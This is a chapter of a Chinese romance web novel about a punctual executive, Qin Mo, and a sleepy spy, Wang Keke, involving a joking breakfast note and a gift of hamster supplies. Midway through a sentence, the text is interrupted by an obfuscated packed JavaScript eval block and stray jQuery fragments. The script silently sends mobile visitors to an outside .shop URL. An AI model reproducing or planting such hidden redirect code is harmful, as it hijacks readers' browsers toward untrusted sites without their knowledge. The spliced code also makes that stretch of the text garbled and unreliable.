秦墨的生活极其规律，规律得像一台设定好程序的精密仪器。
早晨六点整，闹钟响。她睁开眼睛，用三十秒完成从睡眠到清醒的切换，然后下床，换上运动服，去别墅后面的私人跑道上晨跑四十分钟。六点四十五分回到房间，冲凉，更衣。七点整，准时坐在餐厅里，面前摆着当天的财经早报和一杯不加糖的黑咖啡。七点十五分开始吃早餐，七点二十八分放下筷子，七点三十分出门。整个流程精确到分钟，误差从来不超过两分钟。管家的手机里甚至设了三个闹钟，分别对应秦墨晨跑回来、坐下用餐和出门的时间，以便提前准备好一切。
而王可可的生活，完全是另一个世界的产物。
她的一天通常从中午开始。如果第二天要上班，她会在凌晨两点到三点之间入睡，然后靠着三个闹钟的轮番轰炸，勉强在八点半把自己从床上撕下来。起床之后，她顶着一头被枕头蹂躏得不成样子的乱发，像幽灵一样飘进卫生间，在镜子前发五分钟的呆，再用十分钟完成洗漱和换衣服。然后匆匆出门，在公司楼下买一份煎饼果子，一边走一边吃，踩着点冲进办公室。如果第二天不上班，那她可以一口气睡到十点半，然后在床上赖到十一点，直到肚子饿得受不了了，才磨磨蹭蹭地爬起来。王可可的字典里没有“晨跑”这个词。她对早晨的认知仅限于“窗帘拉开太刺眼”和“煎饼摊的阿姨几点出摊”。
秦墨对此早有领教。王可可住进来之后的头两天，秦墨对她的作息还没有太多概念。她只是发现，自己每天早上出门前经过餐厅时，桌上的另一副碗筷从来没有人动过。管家准备的早餐从热到凉，从凉到被收回厨房。而三楼那个房间，安静得像从来没有人住过。秦墨没有说什么。她以为王可可只是不习惯，过几天就好了。但她显然低估了王可可“不习惯早起”的程度。
第四天早上，秦墨照例六点起床，晨跑，冲凉，换衣服。七点整，她坐在餐厅里，端起咖啡抿了一口。她看了一眼对面的空座位，又看了一眼管家。管家站在旁边，脸上的表情像是已经知道她想问什么，只是碍于职业素养不好主动开口。秦墨放下咖啡杯，说：“去叫她起来。”
管家朝她微微欠身，转身上楼。秦墨继续喝她的黑咖啡，拿起手机翻看早间新闻。手机屏幕上的字在她眼前一行一行地滑过去，但她一个字都没看进去。她听了听楼上的动静。很安静。大约过了半分钟，她听见三声很轻的敲门声，接着又是三声。然后管家的脚步声从走廊里传来，渐渐近了。秦墨抬起头。管家的表情有些为难：“秦总，王小姐好像还在休息。我敲了两次门，都没有回应。”
秦墨放下手机，起身。管家跟在后面，小声说：“秦总，要不我再等等？”
秦墨没说话。她走上楼，脚步轻而稳，像猫走过地毯。来到三楼，那扇房门紧闭着，门缝底下漏不出一丝光。王可可大概是连窗帘都没拉开。秦墨站在门口，抬手在门板上敲了三下，声音不重，但足够在安静的走廊里传开。没有人应。她又敲了三下。里面依旧没有反应，安静得能听见风吹过楼道拐角的声音。秦墨皱了一下眉。她侧耳听了一下，房间里有极轻极轻的呼吸声，绵长而均匀，像睡着的人沉在梦乡深处。秦墨把手放在门把上，顿了一下。她转头对跟在身后的管家说：“下去把早餐保温。”管家应声下去了。秦墨轻轻按下门把，推开门。
门开得很小，只有一条缝。她站在门口，先闻到了房间里那股混合着沐浴露和阳光的气味，暖乎乎的，还带着一丝若有似无的甜味。她走了进去，脚下没有发出一点声响。窗帘拉得严严实实，整个房间沉浸在一片昏暗中，只有空调的指示灯亮着微弱的绿光。床上的景象可以用四个字来形容：惨不忍睹。
王可可整个人呈一个极其豪迈的“大”字型摊在床上。她的头歪在一边，头发糊了满脸，只露出半张微微张着嘴的脸。一条腿从被子里伸出来，搭在床沿外面，脚趾无意识地蜷了蜷。被子大部分已经滑到了地上，只剩一个角还盖在她的肚子上。她的睡衣也不老实，上衣卷到了胸口下方，露出半截白嫩的腰，在昏暗中像一小块温润的玉。最让人哭笑不得的是，她的右手还握着一部手机，屏幕已经自动锁屏了，但锁屏前最后停留的页面，是一张“仓鼠用品打折促销”的商品图。图片上是一只圆滚滚的仓鼠蹲在一堆木屑里，旁边标着“限时五折，满99减30”。
秦墨站在床边，居高临下地看着这一幕。她的表情看不出什么明显的变化，只是目光在王可可露出的那截腰上停了一秒，然后迅速移开了。她像是想做点什么，又觉得不太合适。她的手指在身侧轻轻动了一下。然后她弯下腰，捡起地上那半床被子，动作轻得几乎只发出衣料摩擦空气的微弱声响。她慢慢地、小心翼翼地把被子重新盖在了王可可身上。盖到了她的肩膀上，又把被角往她身下掖了掖。整个动作很轻，轻到王可可毫无察觉，连睫毛都没颤一下。秦墨做完这些后，直起身，站在床边看了她好一会儿。她发现自己有些不想走了。这个念头很荒唐，但它确实冒了出来，像一颗小气泡从心湖深处升起，不打招呼，按都按不住。
她转身走出了房间。她想起王可可的手机屏幕。那上面是仓鼠用品。王可可大概是在深夜里刷手机，刷着刷着就睡着了。她应该是想念那只叫麻圆的仓鼠。秦墨站在走廊里，拿出自己的手机，点开搜索引擎，输入了一个问题：“仓鼠用品什么牌子好。”输完之后，她盯着那行字看了两秒，觉得自己很无聊。她把手机锁屏，放回口袋里，下楼去了。
管家已经把早餐重新准备好了。秦墨回到餐厅坐下，面前的粥已经不冒热气了。管家要上前换一碗，秦墨摇了摇头，拿起筷子吃了起来。她吃得很慢，和以往完全一样的节奏。但管家注意到，秦总今天吃早餐的时候，比平时多看了两次表。七点二十五分，秦墨放下了筷子。她站起来，从管家手里接过公文包和外套，走到玄关处换鞋。换到一半，她突然说：“让她睡。别再去叫。”管家说：“好的，秦总。”秦墨穿上鞋，打开门，走出去。门在身后关上的声音很轻，像怕吵醒了楼上的人。
秦墨的车驶出别墅大门，消失在山路的拐角。管家回到厨房，把王可可那份早餐放进保温柜，又调低了保温柜的温度，怕蛋凉得太透。做完这些后，他走到客厅，抬眼看了看三楼的方向。整栋房子都很安静，只有厨房里传来极轻的流水声。管家轻轻地叹了口气。他大概是在想，这栋冷冰冰的房子，已经很久没有这种“有人还在睡觉”的安静了。
王可可醒来的时候，已经是上午十一点零七分。
她不是自然醒的。她是被窗外照进来的阳光给晒醒的。昨晚睡觉前她忘记拉好窗帘，只拉了一层，遮光的那层没拉。太阳从上午十点开始偏进这个方向，正好直直地打在她的脸上。王可可被晒得满脸发烫，迷迷糊糊地从被子里伸出一只手，胡乱地挡了挡光，然后翻了个身，把脸埋进枕头里。但已经晚了。她的意识像被阳光撬开了一条缝，然后越裂越大。她感觉嘴巴发干，眼睛发涩，浑身上下像被人打了一顿，尤其是腰，酸得厉害。她抱着枕头，脑子里一片空白。过了好一会儿，她才想起自己在哪里。
她撑着胳膊坐起来。头发像炸开的稻草一样横七竖八地翘着，半张脸上还印着枕头边的褶痕。她低头看了一眼自己身上的睡衣，发现被子好好地盖在自己身上，甚至被角还掖进了身下。王可可皱了皱眉。她记得自己昨晚刷手机刷到很晚，好像是直接握着手机就睡着了，根本没盖被子。她眨了几下眼，像是努力要从昨晚的睡姿记忆里找出什么破绽来。然后她看见了床头柜上的手机。手机屏幕亮着，上面还是那个仓鼠用品的购物页面。王可可拿起手机，看了一眼时间：十一点零七分。
她发出了一声短促的、像是从嗓子眼里挤出来的惨叫。晚了。又晚了。虽然她也不知道自己到底“晚”了什么。她不用上班，不用打卡，不用开会。她是被软禁在这栋豪宅里的“客人”。可她就是在看到这个时间的那一刻，心里生出一种熟悉而紧迫的慌张，像错过了一整天的人生。她掀开被子跳下床，趿拉着拖鞋跑进卫生间，用最快的速度洗脸刷牙。水珠还挂在她的发梢上，她也顾不上擦，直接往楼下跑。她跑下三楼，跑到二楼，跑进餐厅。然后她愣住了。
餐桌上整整齐齐地摆着一份早餐。一杯牛奶，还在冒着热气。一碟蒸饺，白胖胖地挤在笼屉里，像刚出锅没多久。一碗燕麦粥，表面结着一层薄薄的奶皮，说明它被保温得很好。还有一小碟王可可喜欢的酱黄瓜，和半颗切好的白煮蛋。所有的东西都摆在她惯常坐的那个位置上，像在等她。
王可可站在餐厅门口，一时不知该说什么。她左右看了看。管家不在。保镖也不在。偌大的餐厅里只有她一个人，和一桌冒着热气的食物。她慢慢走过去，坐下，拿起筷子。筷子下面压着一张便签。她抽出来，展开。上面是秦墨的字迹，和那张“窗户是防弹玻璃”的便签一样，工整、有力、带着一股子不怒自威的气势。但写的内容，却让王可可的嘴角控制不住地往上翘：
“再赖床，扣工资。不过你已经没工资了。所以，随便赖。”
王可可拿着那张便签，笑出了声。她的笑声在空荡荡的餐厅里显得格外清脆，像一串小铃铛被风吹响。她笑了好一会儿，笑得眼睛都弯成了月牙，笑得身子往后一仰，差点从椅子上翻过去。她捂着嘴，肩膀一抽一抽的。那行字像长在她笑穴上一样，让她怎么都停不下来。她觉得自己应该生气。秦墨这个人，怎么连留个字条都要嘲笑她。可那字里行间的意思，又分明是纵容的，是“我不跟你计较”。王可可擦了擦眼角笑出来的眼泪，开始吃早餐。蒸饺是芹菜的，咬开后里面还有一颗小虾仁，鲜得她差点把舌头也吞下去。燕麦粥熬得软糯香甜，奶味浓而不腻。酱黄瓜咸脆爽口。每一口都恰到好处。王可可吃得心满意足，像一只终于吃到了罐头的小猫，尾巴都快翘起来了。
但她吃到一半，突然停住了。她的筷子悬在半空，眼睛瞪着前方，表情逐渐从满足变成惊疑。她机械地嚼了两下，把嘴里的东西咽下去，然后缓缓放下筷子，坐直了身子。
“等等。”她小声说，像在对谁说，又像在对自己说，“她为什么要给我留便签？她今天早上来叫我了吗？她是不是看见我睡觉了？”她的声音越来越低，越来越紧，脸也肉眼可见地红了起来。她的脑子里开始不受控制地回放自己起床前的画面。她记得自己是“大”字型摊在床上。她记得自己的睡衣卷到了肚子上。她记得自己的一条腿挂在床沿外面，姿势极其不雅。她慢慢地低下头，看了看自己身上的睡衣，又看了看那些掖好的被角。她的脸从粉红变成了绯红，然后变成了通红。她像被烫到了一样从椅子上弹了起来，双手捂住自己的脸，发出一声克制但充满羞耻的哀嚎。
“她是不是全看到了？！”王可可的声音从指缝里闷闷地传出来。她像一只被踩了尾巴的猫，在原地转了两圈，然后又坐回椅子上，把脸埋进臂弯里。她试图回忆更多细节。比如，秦墨什么时候进来过？她会不会给自己盖被子了？不对，被子肯定是别人盖的。管家？清洁阿姨？总不可能是秦墨亲自盖的吧？王可可拼命摇头，想把这个可怕的念头甩出去。可那个画面已经在她脑子里生了根，怎么甩都甩不掉。她仿佛能看见秦墨穿着她的黑色风衣，站在她床边，居高临下地看着她四仰八叉的睡相，然后面无表情地拎起被子，像盖一袋土豆一样盖在她身上。
太羞耻了。王可可觉得自己作为一个特工——虽然是业绩倒数第一的特工——但也是有尊严的。现在她的尊严，在这床被子和这顿早餐面前，变得比那个蒸饺的皮还要薄。
“不行，我要坚守底线。”王可可坐起身，用力拍了拍自己的脸。她的表情突然变得严肃起来，像
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920376|213443||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在给自己上紧发条。“她为什么对我这么好？是不是想用温柔战术让我放松警惕？是不是想通过这些生活细节把我同化，然后在我完全放下戒心之后，从我嘴里套出组织的情报？一定是这样。秦墨这个人，能当上L集团的老大，手段肯定不简单。我不能被表象迷惑。我不能因为一顿早餐就觉得自己是这里的大小姐。我的任务还没完成。我要保持清醒。”她一边说，一边又夹起一个蒸饺塞进嘴里。嚼了两下，又夹了一个。她对自己说，这不能怪我，是蒸饺太好吃了。饺子是无辜的，跟秦墨没关系。
吃完早餐后，王可可把桌上的空碗空碟规规矩矩地叠在一起，准备端到厨房去。管家不知从哪里冒出来，接过了她手里的碗：“王小姐，这种事我来就好。”王可可“哦”了一声，有些不好意思地搓了搓手。她看着管家把碗端走，突然想起什么，问了一句：“那个……秦总什么时候出门的？”管家停下脚步，回头说：“秦总七点半就走了。出门前还上楼看过您一次。”王可可的脸又炸了。她努力维持着镇定的表情，问：“她……她上去干嘛？”管家微微一笑：“这个我不太清楚。您还是自己问秦总吧。”说完端着碗进了厨房，留下王可可一个人在餐厅里，像一根被雷劈过的木桩。
中午，王可可回到房间，坐在书桌前，试图整理自己的思路。她翻出那本浅蓝色的笔记本，咬着笔帽想了半天，最后写了一行字：
“5月24日，晴。今天早饭很好吃。芹菜馅的饺子里有虾仁。秦墨出门前来过我房间，不知道待了多久。她可能看到我睡觉了。我觉得我活不下去了。”
写完之后，她盯着最后那句话看了一会儿，又用笔把它涂掉了。然后重新在旁边写了一行：
“涂掉的不算。重新写：秦墨给我留了一张便签，上面说随便赖床。我怀疑她在嘲笑我。但便签我收起来了。不因为别的，字太好看了，留着以后当字帖。”
合上笔记本，王可可觉得自己稍微好了一点。她走到窗边，拉开窗帘，让阳光铺满整个房间。山下的城市清晰地展现在眼前，楼群在远处绵延，高架桥像银灰色的丝带穿城而过。天很蓝，云很少，是那种干净到让人想站在风里的好天气。王可可看着这样的景色，心里却无端地想起了秦墨。她想着秦墨现在正在做什么。是在开会，还是在办公室看文件？她会不会也想起自己？还是会觉得，家里那个连早起都做不到的人，真是不可理喻。王可可想着想着，又觉得自己很没出息。她用力拍了拍自己的脸颊，转身回床上躺着。她没拉窗帘，阳光就那样大摇大摆地铺了一床。她枕着胳膊，望着天花板，忽然觉得这个白天好像变得很长很长。
傍晚，王可可接到了一个快递通知。是新手机上的短信，说有一个包裹送到了山下的门卫处，让她去取。王可可很奇怪。她没买过东西。难道是组织？不可能。组织连她的新号码都才刚知道，不可能给她寄快递。她心里七上八下地跑到楼下，问管家。管家说：“门卫已经送上来了，我让人拿到您房间。”王可可说：“是什么东西啊？”管家露出一个“您打开就知道了”的表情。不一会儿，一个纸箱被送到了她的房间。纸箱不大，长方形，王可可拆开一看，里面整整齐齐地码着一套仓鼠用品。木屑、跑轮、磨牙棒、小窝、食盆、水壶，还有一包看起来很高级的仓鼠粮。每样东西都用防撞膜包得好好的，箱底压着一张发货单。上面的收货人是“王可可”，寄件方只写了一个“Q”。
王可可蹲在床边，把那些东西一样一样拿出来，摆在腿上。她的鼻子忽然酸得厉害。她仰起头，拼命眨眼，想把那股要涌出来的东西憋回去。她努力告诉自己，不能哭。不能因为一个跑轮就哭。她可是特工。特工不能这么容易哭。可她的眼泪还是不听话，大颗大颗地砸在腿上的那包仓鼠粮上，把包装袋打得啪嗒作响。
她掏出手机，给秦墨发消息。她打了又删，删了又打，最后只发出去两个字：“收到。”不到十秒，秦墨回了消息：“给你那只仓鼠的。”王可可看着那行字，眼泪又掉了下来。她盘腿坐在地上，手机亮着屏，像她胸口里藏着的一小块暖光。她吸了吸鼻子，打字：“它叫麻圆。我怕它已经饿死了。”秦墨回：“我让人去看过。它还活着。胖了。”王可可“噗”地笑了出来，眼泪还挂在脸上，笑得整个人都在发抖。她又问：“你去看它了？”秦墨回：“没。让人拍的视频。”王可可还没来得及回复，秦墨又发来一条：“它比你勤快。笼子跑轮它跑得挺欢。”王可可气得把手机扔到了床上，两秒后又捡回来，飞快地打字：“它肯定比我勤快，它又不用上班。”秦墨没再回。过了一会儿，王可可又发了一条：“谢谢。”这次秦墨回得很快：“不客气。”后面跟了一个句号。王可可看着那个句号，忽然觉得秦墨这个人，真的很讨厌。讨厌得让她的心，软得不像话。
那天夜里，王可可趴在床上，和秦墨有一搭没一搭地聊了很久。她给秦墨拍了那些仓鼠用品的照片，说“它肯定喜欢”。秦墨回：“你喜欢就好。”王可可说：“是给麻圆的。”秦墨说：“都一样。”王可可又笑了。她不知道自己为什么这么爱笑。她只知道，和秦墨聊天的时候，时间过得特别快。快到她从趴着变成躺着，从躺着变成侧着，最后手机贴着脸，睡意像潮水一样漫上来。她半睡半醒间，模模糊糊地看到秦墨最后发来的一条消息：“明天早上，想吃油条还是包子？”王可可用最后的力气回了一个字：“都行。”然后她就睡着了。手机屏幕还没关，那行小字在黑暗中亮着，像一颗很小很小的星。
而别墅二楼的某个房间里，秦墨摘下眼镜，关掉手机，在黑暗中平躺下来。她闭着眼睛，脑海里却清晰浮现出今天早上王可可的睡相。那半截白嫩的腰，像一道极淡的月牙，在昏暗的晨光里静静地弯着。秦墨深吸一口气，把脸微微转向窗外。她得承认，这世上真的有人，能让你在深夜里还忍不住笑。